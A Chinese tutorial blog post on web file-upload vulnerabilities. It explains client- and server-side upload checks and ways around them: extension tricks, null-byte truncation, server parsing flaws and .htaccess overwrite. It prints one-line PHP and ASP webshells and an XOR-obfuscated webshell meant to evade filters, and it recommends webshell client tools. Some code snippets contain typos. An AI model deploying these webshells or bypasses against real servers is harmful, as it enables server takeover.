今天我们开始另一篇幅的内容,web文件上传相关的知识
当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
文件上传
额外扩展知识
1.文件上传详细信息及绕过方法
菜刀种类
遗留思考题
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。
这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式
任意文件上传漏洞简介
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
客户端检测一般在源文件里有专门检测文件上传的javascript代码,最常见的就是检测扩展名是否合法, 这种检测很容易被绕过,但本质还是在客户端检测,不能相信客户端的检测,因为这是可控的,真正有效的检测要放在服务端。
此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。
· m 上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;
· m 上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器;
· m 上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;
· m 上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行;
· m 上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞(Local File Include)执行该文件。如将bad.php文件改名为bad.doc上传到服务器,再通过PHP的include,include_once,require,require_once等函数包含执行。
此处造成恶意文件上传的原因主要有三种:
· m 文件上传时检查不严。一些应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件。一些应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查。一些应用虽然在服务器端进行了黑名单检查,但是却可能忽略了大小写,如将.php改为.Php即可绕过检查;一些应用虽然在服务器端进行了白名单检查却忽略了%00截断符,如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg,其中%00为十六进制的0x00字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00字符截断的关系,最终上传的文件变成了xxx.php。
· m 文件上传后修改文件名时处理不当。一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc,成功上传后在修改文件名时将后缀改回.php。
· m 使用第三方插件时引入。好多应用都引用了带有文件上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏
upload 1<title>
<script>
function check(){
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[str.length=1];
if(ext=='png'){
return true;
}else{
alert("请上传一张PNG格式的图片!");
return false;
}
return false;
}
</script>
</head>
<body>
此处代码省略不写
</body>
</html></code></pre>
<p style="margin-left:8px;"><a href="http://img.e-com-net.com/image/info8/2085fbbe4e84481387fed8e2e4b367b0.jpg" target="_blank"><img alt="Web文件上传—基础知识_第1张图片" class="has" height="413" src="http://img.e-com-net.com/image/info8/2085fbbe4e84481387fed8e2e4b367b0.jpg" width="650" style="border:1px solid black;"></a></p>
<p style="margin-left:8px;"><span style="color:#e579b6;"><strong> </strong></span></p>
<p style="margin-left:8px;"><span style="color:#e579b6;"><strong>一个攻击流程示意图:</strong></span></p>
<p><a href="http://img.e-com-net.com/image/info8/7df7b6c40dda4db7948a8c9c26b9a45b.jpg" target="_blank"><img alt="Web文件上传—基础知识_第2张图片" class="has" height="495" src="http://img.e-com-net.com/image/info8/7df7b6c40dda4db7948a8c9c26b9a45b.jpg" width="650" style="border:1px solid black;"></a></p>
<p style="margin-left:0pt;"> </p>
<p style="margin-left:0pt;">图上的解析攻击是什么意思?</p>
<p style="margin-left:0pt;"><strong>解析攻击</strong></p>
<p style="margin-left:0pt;"> </p>
<p style="margin-left:8px;"><span style="color:#888888;">主要是各web应用程序解析漏洞,直接解析或配合解析。还有</span>服务端文件内容检测、文件扩展名(黑名单和白名单)以及路径检测等等</p>
<p style="margin-left:8px;"><span style="color:#888888;"> <strong> 举例:</strong>Apache解析漏洞Test.php.XXX。</span></p>
<p style="margin-left:8px;"><span style="color:#888888;"> 建议在单独配置的环境下进行测试,集成环境也行,不过可能会受影响,我测试的在集成环境下解析不了单独环境下就可以,可能是我配置问题。</span></p>
<p style="margin-left:8px;"><span style="color:#888888;"><strong>Nginx 解析漏洞</strong></span></p>
<p style="margin-left:8px;"><span style="color:#888888;"> 任意文件名/任意文件名.php | 任意文件名%00.php。</span></p>
<p style="margin-left:8px;"><span style="color:#888888;"> 比如原本文件名是test.jpg,可以添加为test.jpg/x.php。</span></p>
<p style="margin-left:8px;"><span style="color:#888888;"><strong>IIS解析漏洞 </strong></span></p>
<p style="margin-left:0pt;"> 2003+IIS 6.0</p>
<pre class="has"><code class="language-php"><%eval request(1)%></code></pre>
<p style="margin-left:0pt;">当然也存在其它变种木马,如<script language="php">eval($_POST[a]);</script></p>
<p style="margin-left:0pt;"> </p>
<h2 id="%E9%A2%9D%E5%A4%96%E6%89%A9%E5%B1%95%E7%9F%A5%E8%AF%86" style="margin-left:0pt;"><span style="color:#3399ea;">额外扩展知识</span></h2>
<p style="margin-left:0pt;">Webshell:大马、小马</p>
<p style="margin-left:0pt;">大马:代码量多,功能多</p>
<p style="margin-left:0pt;">小马:代码量少,功能也少</p>
<p style="margin-left:0pt;">例如:一句话木马<?php eval($_POST[‘a’]); ?> 单引号可不加,只能接受php代码</p>
<pre class="has"><code class="language-php">eval($_GET[.a']);
//echo preg_replace("/test/e", $_POST[a], "jutst test");
//$data = $_GET['data'];
//echo "\$ret = strtolower(\"$data\");";
//eval("\$ret = strtolower(\"$data\");");
//echo $ret;
//systera($_POST[a]);
//exec($_POST[a], $array);
//var_dump($array);
//echo shell_exec($_POST[a]);</code></pre>
<p>实例:DVWA 靶场</p>
<p>线上DVWA靶场链接,默认账号:admin 密码:password</p>
<p>http://43.247.91.228:81/login.php</p>
<p>DVWA 文件上传实战教程网上有很多,大家可自寻搜索</p>
<p> </p>
<h2 id="1.%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E8%AF%A6%E7%BB%86%E4%BF%A1%E6%81%AF%E5%8F%8A%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95">1.文件上传详细信息及绕过方法</h2>
<p>1.1文件以http协议上传,将以 POST 请求发送至 web 服务器</p>
<p>1.2web 服务器接收到请求后并同意后,用户与 web 服务器将建立连接,并传输数据</p>
<p>1.3上传文件,检验文件类型</p>
<p>1.3.1通过客户端端验证(javascript 扩展名检测)</p>
<pre class="has"><code> - 用反向代理工具(如burp 之类)修改文件扩展名或禁用 js 绕过客户端端验证
</code></pre>
<p>1.3.2服务端验证Content-type (Mime type) (http request 包检测)</p>
<pre class="has"><code> - 用反向代理工具(如burp 之类)进行 Content-type 伪造
</code></pre>
<p>1.3.3服务端验证绕过(扩展名检测)</p>
<p>1.3.3.1黑名单检测</p>
<pre class="has"><code> - 找黑名单扩展名的漏网之鱼 - 比如上面就漏掉了 asa 和 cer 之类
- 可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
- 特别文件名构造 - 比如发送的 http 包里把文件名改成 help.asp. 或 help.asp_(下划线为空格)
- IIS 或 nginx 文件名解析漏洞 - 比如 help.asp;.jpg 或 help.jpg/2.php
- 0x00 截断绕过 - 这个是基于一个组合逻辑漏洞造成的
- 双扩展名解析绕过攻击(1) - 基于 web 服务的解析逻辑
- 双扩展名解析绕过攻击(2) - 基于 web 服务的解析方式
- 危险解析绕过攻击 - 基于 web 服务的解析方式
</code></pre>
<p>1.3.3.2白名单检测</p>
<pre class="has"><code> - 特别文件名构造 (同黑名单攻击第 3 条)
- IIS 或 nginx 文件名解析漏洞 (同黑名单攻击第 4 条)
- 0x00 截断绕过 (同黑名单攻击第 5 条)
</code></pre>
<p>1.3.3.3htaccess 文件攻击</p>
<pre class="has"><code> - 在 PHP 安全没配置好的情况下,用自己的.htaccess 覆盖服务上原文件
</code></pre>
<p>1.3.4服务端验证绕过(文件完整性检测)</p>
<pre class="has"><code> - 文件头检测
只校验了文件头和文件完整性
- 图像分辨率检测
在文件开始伪装图像大小数据
- 文件加载检测
用工具对文件空白数据区或注释区进行代码注入绕过
(图像仅能绕过渲染测试,而不能绕过二次渲染)
用恶意文件去攻击加载器本身
</code></pre>
<p>1.3.57.二次上传漏洞</p>
<pre class="has"><code> 最新的上传漏洞方法,主要是利用逻辑漏洞。程序代码只对第一次上传的文件进行验证,这样情况下第一次上传正常文件,第二次上传webshell,利用这个漏洞需要上传组件支持一次多文件上传。
</code></pre>
<p>1.3.6相互关系与组合情况</p>
<pre class="has"><code> 首先客户端端验证和服务端验证是相互独立的,所以分开绕过就行了
主要难点是在服务端验证的组合上
文件完整性检测已经包含文件头检测和图像大小及相关信息检测, 但不包含文件扩展名检测
它是以加载来作为检测的方式,比如用图像渲染函数去渲染一张图片
文件扩展名检测和文件头检测都是同级的,相互独立
所以如果是文件扩展名+文件头检测可以同时分开绕过
</code></pre>
<p> </p>
<h2 id="%E8%8F%9C%E5%88%80%E7%A7%8D%E7%B1%BB%EF%BC%9A" style="margin-left:0pt;">菜刀种类:</h2>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>中国菜刀:基本都有后门,强烈不推荐使用</p>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>cknife(C刀):一般</p>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>蚁剑:<span style="color:#3399ea;">js开发,中国菜刀js版,推荐使用,github有</span></p>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>打开antsword.exe,选择antsword文件夹</p>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>冰蝎:<span style="color:#3399ea;">自带加密,木马没有特征,极力推荐使用,github有</span></p>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>开山斧:由python开发,<span style="color:#393939;">不支持数据库管理功能</span><span style="color:#393939;">,</span>推荐使用</p>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>k8飞刀:<span style="color:#3399ea;">推荐使用,工具多</span></p>
<p style="margin-left:0pt;"><strong><strong>· </strong></strong>Xise</p>
<p style="margin-left:0pt;"> </p>
<p style="margin-left:0pt;"><span style="color:#f33b45;"><strong>一句话连接菜刀的原理:</strong></span></p>
<p style="margin-left:0pt;">位运算木马:</p>
<pre class="has"><code class="language-php"> <?php
@$_++; //1
$__ = ("#" ^ "I");
echo $__ . "<br>";
$__ .= ("." ^ "~");
echo $__ . "<br>";
$__ .= ("/" ^ "`");
echo $__ . "<br>";
$__ .= ("|" ^ "/");
echo $__ . "<br>";
$__ .= ("{" ^ "/");
echo $__ . "<br>";
// ${$__}[!$_](${$__}[$_]);
// $_POST[0]$_POST[2]
// 0=assert&1=system('dir')
// eval属于php解 释 器 ,不属于函数
?></code></pre>
<p style="margin-left:0pt;">echo是为了显示位运算结果,并不是木马本身的代码,结果如下:</p>
<pre class="has"><code class="language-php">_<br>_P<br>_PO<br>_POS<br>_POST<br>[Finished in 1.0s]</code></pre>
<p style="margin-left:0pt;">网上流传比较老,过狗的一种思路(就是上上张图片我们上传的代码图片),如下</p>
<pre class="has"><code class="language-php"><?php
@$_++;
$__ = ("#" ^ "|");
$__ .= ("." ^ "~");
$__ .= ("/" ^ "`");
$__ .= ("|" ^ "/");
$__ .= ("{" ^ "/");
${$__}[!$_](${$__}[$_]);
//${$__}[!$_]->$_POST[0] [!$_]->[!1]->[0] (${$__}[$_])->($_POST[1])
?></code></pre>
<p>打开中国菜刀,输入网站的地址加路径然后密码连接:</p>
<p><a href="http://img.e-com-net.com/image/info8/73938cafc03241cc917988c299d76223.jpg" target="_blank"><img alt="Web文件上传—基础知识_第3张图片" class="has" height="106" src="http://img.e-com-net.com/image/info8/73938cafc03241cc917988c299d76223.jpg" width="508" style="border:1px solid black;"></a></p>
<h2 style="margin-left:0pt;"> </h2>
<h2 id="%E9%81%97%E7%95%99%E6%80%9D%E8%80%83%E9%A2%98" style="margin-left:0pt;">遗留思考题</h2>
<p style="margin-left:0pt;">什么时候用大马?什么时候用小马?什么时候用过狗马?</p>
<p style="margin-left:0pt;"><strong>PS:</strong>大家可以想想,答案会在下一篇文章揭晓</p>
<p style="margin-left:0pt;"> </p>
<p style="margin-left:0pt;">参考文章链接:</p>
<p style="margin-left:0pt;">http://www.h3c.com/cn/d_201408/839582_30008_0.htm</p>
<p> </p>
<hr>
<p>我不需要自由,只想背着她的梦</p>
<p>一步步向前走,她给的永远不重</p>
<hr>
<p> </p>
</div>
</div>
</div>
</div>
</div>
<!--PC和WAP自适应版-->
<div id="SOHUCS" sid="1282309340224569344"></div>
<script type="text/javascript" src="/views/front/js/chanyan.js"></script>
<!-- 文章页-底部 动态广告位 -->
<div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
</div>
<div class="col-md-3">
<div class="row" id="ad">
<!-- 文章页-右侧1 动态广告位 -->
<div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
<div class="youdao-fixed-ad" id="detail_ad_1"> </div>
</div>
<!-- 文章页-右侧2 动态广告位 -->
<div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
<div class="youdao-fixed-ad" id="detail_ad_2"></div>
</div>
<!-- 文章页-右侧3 动态广告位 -->
<div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
<div class="youdao-fixed-ad" id="detail_ad_3"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container">
<h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(渗透测试,Web,文件上传,前渗透篇)</h4>
<div id="paradigm-article-related">
<div class="recommend-post mb30">
<ul class="widget-links">
<li><a href="/article/1890054197622140928.htm"
title="告别繁琐的路径配置:带你写一个让 Monorepo 项目模块导入更优雅的 Webpack 插件" target="_blank">告别繁琐的路径配置:带你写一个让 Monorepo 项目模块导入更优雅的 Webpack 插件</a>
<span class="text-muted">真的很上进</span>
<a class="tag" taget="_blank" href="/search/Web%E5%89%8D%E7%AB%AF%E8%BF%9B%E9%98%B6%E5%90%88%E9%9B%86/1.htm">Web前端进阶合集</a><a class="tag" taget="_blank" href="/search/webpack/1.htm">webpack</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/react.js/1.htm">react.js</a><a class="tag" taget="_blank" href="/search/vue/1.htm">vue</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a>
<div>目录手把手带你写一个Webpack提效插件前言为什么要写这个插件?Webpack插件是什么?开发MonorepoAliasPlugin1.基础结构搭建2.理解Webpack模块解析3.路径别名的解析和转换4.添加所有包的支持5.测试插件6.使用方法总结手把手带你写一个Webpack提效插件前言大家好,今天我想和大家分享如何从零开始写一个实用的Webpack提效插件(完整源码在文章最后).作为前端开</div>
</li>
<li><a href="/article/1890054069549068288.htm"
title="IDEA配置JSTL" target="_blank">IDEA配置JSTL</a>
<span class="text-muted">阿俊仔(摸鱼版)</span>
<a class="tag" taget="_blank" href="/search/intellij-idea/1.htm">intellij-idea</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a>
<div>IDEA配置JSTL下载JSTL官网下载地址:https://tomcat.apache.org翻到下面找到:点击,download下载下面内容:(就Impl和Spec)配置JSTL将两个下好的jar包放在lib文件夹下ctrl+shift+alt+s打开ProjectStructure左侧找到Modules->右侧选择Dependences->点击➕号Library->点击java->选中WEB</div>
</li>
<li><a href="/article/1890053565217566720.htm"
title="MVC和react" target="_blank">MVC和react</a>
<span class="text-muted">吃蛋糕的居居</span>
<a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a>
<div>MVC1.MVC是一种使用MVC(ModelViewController模型-视图-控制器)设计创建Web应用程序的模式.(1)Model(模型)表示应用程序核心(比如数据库记录列表).(2)View(视图)显示数据(数据库记录).(3)Controller(控制器)处理输入(写入数据库记录).2.MVC模式同时提供了对HTML、CSS和JavaScript的完全控制.(1)Model(模式)是应</div>
</li>
<li><a href="/article/1890053437849137152.htm"
title="海南大学--学习资料--网络应用开发java web(胡祝华)-第3次作业解析(学长整理)" target="_blank">海南大学--学习资料--网络应用开发java web(胡祝华)-第3次作业解析(学长整理)</a>
<span class="text-muted">创创大帝(水印很浅-下载的文档)</span>
<a class="tag" taget="_blank" href="/search/%E6%B5%B7%E5%8D%97%E5%A4%A7%E5%AD%A6--%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99--PHP/1.htm">海南大学--学习资料--PHP</a><a class="tag" taget="_blank" href="/search/HTML/1.htm">HTML</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/web/1.htm">web</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a>
<div>海南大学–学习资料–网络应用开发javaweb(胡祝华)-第3次作业解析(学长整理)海南大学–学习资料–网络应用开发javaweb(胡祝华)-第3次作业解析(学长整理)海南大学–学习资料–网络应用开发javaweb(胡祝华)-第3次作业解析(学长整理)表单验证:1.在表单的源码中head部分用script导入了script/regcheckdata.js文件2.当点击提交按钮时,onSubmit=</div>
</li>
<li><a href="/article/1890053438876741632.htm"
title="手把手教你给 windows装个vmware虚拟机" target="_blank">手把手教你给 windows装个vmware虚拟机</a>
<span class="text-muted">python算法小白</span>
<div>附Java/C/C++/机器学习/算法与数据结构/前端/安卓/Python/程序员必读书籍书单大全:书单导航页(点击右侧极客侠栈即可打开个人博客):极客侠栈①【Java】学习之路吐血整理技术书从入门到进阶最全50+本(珍藏版)②【算法数据结构+acm】从入门到进阶吐血整理书单50+本(珍藏版)③【数据库】从入门到进阶必读18本技术书籍网盘吐血整理网盘(珍藏版)④【Web前端】从HTML到JS到AJ</div>
</li>
<li><a href="/article/1890053185666609152.htm"
title="RESTful API 和 WebSocket 的区别" target="_blank">RESTful API 和 WebSocket 的区别</a>
<span class="text-muted">戎梓漩</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA/1.htm">计算机</a><a class="tag" taget="_blank" href="/search/restful/1.htm">restful</a><a class="tag" taget="_blank" href="/search/websocket/1.htm">websocket</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
<div>文章目录1.RESTfulAPI特点使用场景示例2.WebSocket特点使用场景示例3.RESTfulAPI和WebSocket对比总结4.哪种方式适合大模型服务?RESTfulAPIWebSocket5.什么时候用REST?什么时候用WebSocket?6.结论RESTfulAPI和WebSocket是两种不同的通信方式,主要区别在于数据交互方式、连接管理、性能和适用场景。1.RESTfulA</div>
</li>
<li><a href="/article/1890052806438612992.htm"
title="web&安卓逆向之必学CSS基础知识" target="_blank">web&安卓逆向之必学CSS基础知识</a>
<span class="text-muted">安替-AnTi</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/web/1.htm">web</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E9%80%86%E5%90%91/1.htm">逆向</a>
<div>文章目录CSS基础知识一、CSS的介绍1.CSS的定义2.CSS的作用3.CSS的基本语法4.小结二、css的引入方式1.行内式语法格式:特点:适用场景:2.内嵌式(内部样式)语法格式:特点:适用场景:3.外链式语法格式:特点:适用场景:4.CSS引入方式选择选择建议:5.小结三、css选择器1.CSS选择器的定义2.CSS选择器的种类标签选择器类选择器层级选择器(后代选择器)ID选择器组选择器伪</div>
</li>
<li><a href="/article/1890051165182291968.htm"
title="Web前端第三次作业" target="_blank">Web前端第三次作业</a>
<span class="text-muted">shayell</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
<div>1.学校官网(1)相关信息学校官网-相关信息body{font-family:Arial,sans-serif;}.header{background-color:#4CAF50;color:white;padding:10px;text-align:center;}.nav{overflow:hidden;background-color:#333;}.nava{float:left;displ</div>
</li>
<li><a href="/article/1890048264963682304.htm"
title="解决Vue控制台报错:WebSocketClient.js:13 WebSocket connection to ‘ws://192.168.x.x:8080/ws‘ failed:" target="_blank">解决Vue控制台报错:WebSocketClient.js:13 WebSocket connection to ‘ws://192.168.x.x:8080/ws‘ failed:</a>
<span class="text-muted">藏蓝色攻城狮</span>
<a class="tag" taget="_blank" href="/search/vue/1.htm">vue</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/websocket/1.htm">websocket</a>
<div>1、报错情况在调试项目过程中,无意中发现,在控制台内,报了这样的错误:WebSocketClient.js:13WebSocketconnectionto‘ws://192.168.x.x:8080/ws’2、错误原因查了一些资料,原因是,原因就是开发环境与生产环境的区别3、解决方案:3.1第一种如果没使用过webscoket,禁用之后就可以了,就不会出现这个问题了。在vue.config.js中</div>
</li>
<li><a href="/article/1890045488925831168.htm"
title="Web3 的虚实融合之路:从虚拟交互到元宇宙构建" target="_blank">Web3 的虚实融合之路:从虚拟交互到元宇宙构建</a>
<span class="text-muted">dingzd95</span>
<a class="tag" taget="_blank" href="/search/web3/1.htm">web3</a><a class="tag" taget="_blank" href="/search/web3/1.htm">web3</a><a class="tag" taget="_blank" href="/search/%E4%BA%A4%E4%BA%92/1.htm">交互</a>
<div>在这个数字技术日新月异的时代,我们正站在Web3的门槛上,见证着互联网的又一次革命。Web3不仅仅是技术的迭代,它代表了一种全新的交互方式和价值创造模式。本文将探讨Web3如何推动虚拟交互的发展,并最终实现元宇宙的构建,揭示这一技术演进背后的关键理念与现实意义。Web3:去中心化的新交互方式Web3,即第三代互联网,是一个去中心化、用户主权、数据自主的网络环境。它依托于区块链、分布式存储等技术,实</div>
</li>
<li><a href="/article/1890044858568077312.htm"
title="websocketpp库使用:快速搭建一个websocket服务端" target="_blank">websocketpp库使用:快速搭建一个websocket服务端</a>
<span class="text-muted">W2155</span>
<a class="tag" taget="_blank" href="/search/websocket/1.htm">websocket</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
<div>目录1.websocket协议1.1websocket协议诞生的原因1.2websocketVShttp1.3websocket协议报头2.websocketpp搭建简单服务器1.websocket协议1.1websocket协议诞生的原因传统的HTTP协议采用的是请求-响应的单向通信模式,即客户端必须主动发起请求,服务器才能做出响应。在需要实时更新数据的场景下,如在线聊天、实时股票行情显示等,客</div>
</li>
<li><a href="/article/1890041456517771264.htm"
title="SpringCloud—— eureka+feign实现声明式服务治理" target="_blank">SpringCloud—— eureka+feign实现声明式服务治理</a>
<span class="text-muted">2501_90225989</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/cloud/1.htm">cloud</a><a class="tag" taget="_blank" href="/search/eureka/1.htm">eureka</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a>
<div>为什么要使用Eureka,因为在一个完整的系统架构中,任何单点的服务都不能保证不会中断,因此我们需要服务发现机制,在某个节点中断后,其它的节点能够继续提供服务,从而保证整个系统是高可用的。服务发现有两种模式:一种是客户端发现模式,一种是服务端发现模式。Erueka采用的是客户端发现模式。feign:Feign是一个声明式的Web服务客户端,使用Feign可使得Web服务客户端的写入更加方便。它具有</div>
</li>
<li><a href="/article/1890037801202806784.htm"
title="反向代理如何工作" target="_blank">反向代理如何工作</a>
<span class="text-muted">菠萝派爱跨境</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
<div>1.代理服务器和反向代理之间的区别在探索反向代理的工作原理之前,了解代理服务器和反向代理之间的区别非常重要。代理服务器主要代表客户端或客户端网络,处理从客户端到Web服务器的流量。其主要功能包括为客户端提供匿名性、允许访问公共数据访问限制以及保护客户端的安全。反向代理是位于一组Web服务器和Internet之间的服务器,代表这些服务器处理流量。与代理服务器不同,反向代理通过隔离服务器和客户端之间的</div>
</li>
<li><a href="/article/1890031755197476864.htm"
title="python创建画布语句_canvas元素创建画布" target="_blank">python创建画布语句_canvas元素创建画布</a>
<span class="text-muted">weixin_39847945</span>
<a class="tag" taget="_blank" href="/search/python%E5%88%9B%E5%BB%BA%E7%94%BB%E5%B8%83%E8%AF%AD%E5%8F%A5/1.htm">python创建画布语句</a>
<div>Phaser桌面和手机游戏HTML5框架Phaser是一个流行的2D开源游戏框架,可以用来开发桌面或手机浏览器HTML5游戏,适合侧视或顶视风格:Phaser同时支持Canvas和WebGL渲染引擎,预置了完备的精灵动画、输入管理、瓦片地图、补间动画、资源加载器、物理系统、粒子系统等特性,几乎能够满足你开发一个2D游戏的任何...文章马拉喀什2017-11-021163浏览量HTML5学习手笔四:</div>
</li>
<li><a href="/article/1890029614235971584.htm"
title="项目中 Unity UI 系统的选择" target="_blank">项目中 Unity UI 系统的选择</a>
<span class="text-muted">长脖鹿Johnny</span>
<a class="tag" taget="_blank" href="/search/Unity/1.htm">Unity</a><a class="tag" taget="_blank" href="/search/%E4%BD%BF%E7%94%A8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/1.htm">使用经验总结</a><a class="tag" taget="_blank" href="/search/unity/1.htm">unity</a><a class="tag" taget="_blank" href="/search/ui/1.htm">ui</a><a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F%E5%BC%95%E6%93%8E/1.htm">游戏引擎</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a>
<div>项目中UnityUI系统的选择Unity提供了三个UI系统:UIToolkitUnityUIpackage(uGUI)IMGUIUIToolkitUIToolkit是Unity最新的UI系统。其设计基于web标准且优化了跨平台表现。既可以用来做编辑器扩展,也可以用于做游戏的UI。UIToolkit包括:一个retained-modeUIsystem,包含创建用户界面所需的核心特性和功能。UI资源类</div>
</li>
<li><a href="/article/1890026214685470720.htm"
title="【虚幻引擎UE】UE4.23到UE5.5的核心功能变化" target="_blank">【虚幻引擎UE】UE4.23到UE5.5的核心功能变化</a>
<span class="text-muted">灵境引路人</span>
<a class="tag" taget="_blank" href="/search/%E8%99%9A%E5%B9%BB/1.htm">虚幻</a><a class="tag" taget="_blank" href="/search/ue4/1.htm">ue4</a><a class="tag" taget="_blank" href="/search/ue5/1.htm">ue5</a>
<div>简单总结从UE4.23到UE5.5,虚幻引擎的重大变化:1.WebGL/HTML5平台支持和像素流UE4.23-UE4.25:移除官方HTML5支持,改为社区插件维护。但通过第三方插件(如WebAssembly+WebGPU)可在浏览器运行部分项目。UE5.1:对像素流的支持度提升,发布前端git地址:https://github.com/EpicGames/PixelStreamingInfra</div>
</li>
<li><a href="/article/1890024699329572864.htm"
title="Spring Boot项目中实现文件的上传、下载和预览功能" target="_blank">Spring Boot项目中实现文件的上传、下载和预览功能</a>
<span class="text-muted">战族狼魂</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Springboot/1.htm">Springboot</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
<div>在SpringBoot项目中实现文件的上传、下载和预览功能,可以通过使用SpringMVC的MultipartFile接口来处理文件上传,并使用HttpServletResponse或Resource来实现文件下载和预览。下面是如何实现这些功能的完整示例。1.引入依赖确保在pom.xml中引入了SpringBoot的相关依赖。通常情况下,SpringBootStarterWeb已经包含了必要的依赖</div>
</li>
<li><a href="/article/1890023196745330688.htm"
title="客户端一定要连服务器吗?能够自己连接自己吗?" target="_blank">客户端一定要连服务器吗?能够自己连接自己吗?</a>
<span class="text-muted"></span>
